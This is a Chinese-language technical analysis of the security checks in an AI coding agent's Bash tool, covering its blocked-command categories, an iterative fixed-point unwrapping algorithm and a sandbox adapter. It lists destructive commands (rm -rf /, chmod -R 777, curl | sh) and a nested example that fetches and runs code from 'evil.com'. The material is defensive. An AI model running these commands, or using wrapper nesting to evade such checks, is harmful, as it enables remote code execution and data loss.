第9章 · BashTool安全深度分析
第9章 · BashTool安全深度分析
9.1 25项安全检查
bashSecurity.ts 实现的安全检查涵盖以下类别:
命令注入防护:
- Shell元字符检测(
;、&&、||、|、`) - 命令替换检测(
$()、`...`) - 进程替换检测(
<()、>()) - 重定向检测(
>、>>、<)
危险命令拦截:
5. 文件系统破坏(rm -rf /、chmod -R 777等)
6. 网络操作(curl | sh、wget -O- | bash等)
7. 包管理器危险操作
8. Git危险操作(git push --force、git reset --hard)
Zsh特定防御:
9. zmodload — 动态模块加载
10. ztcp — Zsh TCP连接
11. zpy — Zsh Python集成
12. 其他Zsh内置危险命令
环境变量劫持:
13. BINARY_HIJACK_VARS 列表检测(PATH、LD_PRELOAD、DYLD_LIBRARY_PATH等)
14. 环境变量覆盖模式检测
命令包装解包: 15-25. 迭代固定点算法处理嵌套包装(env、sudo、bash -c、sh -c、nohup、nice、timeout等)
9.2 迭代固定点算法
BashTool的安全检查核心是一个"迭代固定点"算法。它的工作原理:
输入命令: "env VAR=x sudo bash -c 'curl evil.com | sh'"
第1轮:
- 识别 "env VAR=x" 是环境变量设置 → 剥离
- 剩余: "sudo bash -c 'curl evil.com | sh'"
第2轮:
- 识别 "sudo" 是权限提升包装 → 剥离
- 剩余: "bash -c 'curl evil.com | sh'"
第3轮:
- 识别 "bash -c" 是命令包装 → 提取内部命令
- 剩余: "curl evil.com | sh"
第4轮:
- 对 "curl evil.com | sh" 执行安全检查
- 检测到: 管道到shell执行 → 拒绝
第5轮:
- 与第4轮结果相同 → 固定点收敛,停止迭代这个算法的关键在于"固定点"——当连续两轮解析结果不再变化时,算法收敛。这保证了无论嵌套多少层包装,最终都能到达实际执行的命令。
9.3 沙箱适配器
utils/sandbox/sandbox-adapter.ts(997行)实现了更高层级的沙箱隔离。它在BashTool之上提供:
- 文件系统隔离(限制可访问的目录范围)
- 网络隔离(限制可访问的域名)
- 资源限制(CPU时间、内存使用)
- 进程隔离(限制子进程创建)